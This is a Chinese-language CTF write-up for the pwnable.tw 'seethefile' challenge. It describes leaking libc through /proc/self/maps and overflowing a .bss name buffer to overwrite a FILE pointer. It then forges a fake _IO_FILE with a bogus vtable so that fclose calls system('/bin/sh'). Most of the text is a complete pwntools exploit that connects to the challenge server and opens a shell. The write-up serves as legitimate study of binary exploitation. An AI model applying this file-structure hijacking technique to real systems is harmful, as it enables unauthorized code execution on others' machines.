PWNABLE.TW-seethefile-WP

Posted on Apr 6, 2021

首先是前置的小 trick:关于/proc目录

题目提供了读取文件的功能,可以读除了 flag 之外的文件。自然可以想到通过 /proc/self/maps 来 leak 出 libc 的基地址。

然后在退出时

注意到这里有一个 "%s" 可以溢出。一开始也没仔细看,以为 name 是栈上的变量,也没看到后面的 exit(0),准备 rop,结果发现 name 在 .bss 段上,难以 rop,但是注意到 fp 变量在 name 后面,所以可以通过溢出覆写 fp。程序没有开启 PIE,所以我们写入的地址是已知的,我们布置好一个 fake_file,让 fp 指向它,在执行 fclose 的时候 getshell 了。

说来惭愧,但现在我对 _IO_FILE 的了解还是只浮于表面,所以这里我没法分析的太深。原理和伪造方式可以看这位博主的总结(文章也贴心地给出了各种情况下 fake_file 的模板)。以本题为例,就是

#_flags & 0x2000不为0最终会调用fp->vtabl->__fclose(fp)
fake_file = "/bin/sh\x00"
fake_file = fake_file.ljust(0x48,'\x00')
fake_file += p32(fake_lock_addr) # 指向一处值为0的地址
fake_file = fake_file.ljust(0x94, "\x00")
fake_file += p32(fake_vtable)#fake vtable address = buf_addr + 0x98 - 0x44
fake_file += p32(system)

exp

#!/usr/bin/env python
# coding=utf-8
from pwn import *

#sh = process("./seethefile")
sh = remote("chall.pwnable.tw",10200)
libc = ELF("./libc_32.so.6")

sh.sendlineafter("choice :",str(1))
sh.sendlineafter("to see :",'/proc/self/maps')

sh.sendlineafter("choice :",str(2))
sh.sendlineafter("choice :",str(3))

sh.sendlineafter("choice :",str(2))
sh.sendlineafter("choice :",str(3))

sh.recvuntil("0")
sh.recvuntil('\n')
libc_base = int(sh.recvuntil('-',drop = True),base = 16)
log.success("libc_base:" + hex(libc_base))

system_addr = libc_base + libc.sym["system"]
bin_sh_addr = libc_base + libc.search("/bin/sh").next()
one_gadget = libc_base + 0x3a819

sh.sendlineafter("choice :",str(5))

payload = 'a' * 0x20 + p32(0x804B300)
payload = payload.ljust(0x804B300 - 0x804B260,'\x00')

buf_addr = 0x804B300

fake_vtable = 0x804B300 + 0x98 - 0x44
fake_lock_addr = 0x804B308
fake_file = "/bin/sh\x00"
fake_file = fake_file.ljust(0x48,'\x00')
fake_file += p32(fake_lock_addr) # 指向一处值为0的地址
fake_file = fake_file.ljust(0x94, "\x00")
fake_file += p32(fake_vtable)#fake vtable address = buf_addr + 0x98 - 0x44
fake_file += p32(system_addr)

payload += fake_file

sh.sendlineafter("name :",payload)

sh.interactive()

getshell 之后…

拿到 shell 后会发现无法直接 cat flag,但是提供了一个 get_flag 的程序及其源码,看一下源码

所以运行程序输入 Give me the flag 就可以获得 flag 了。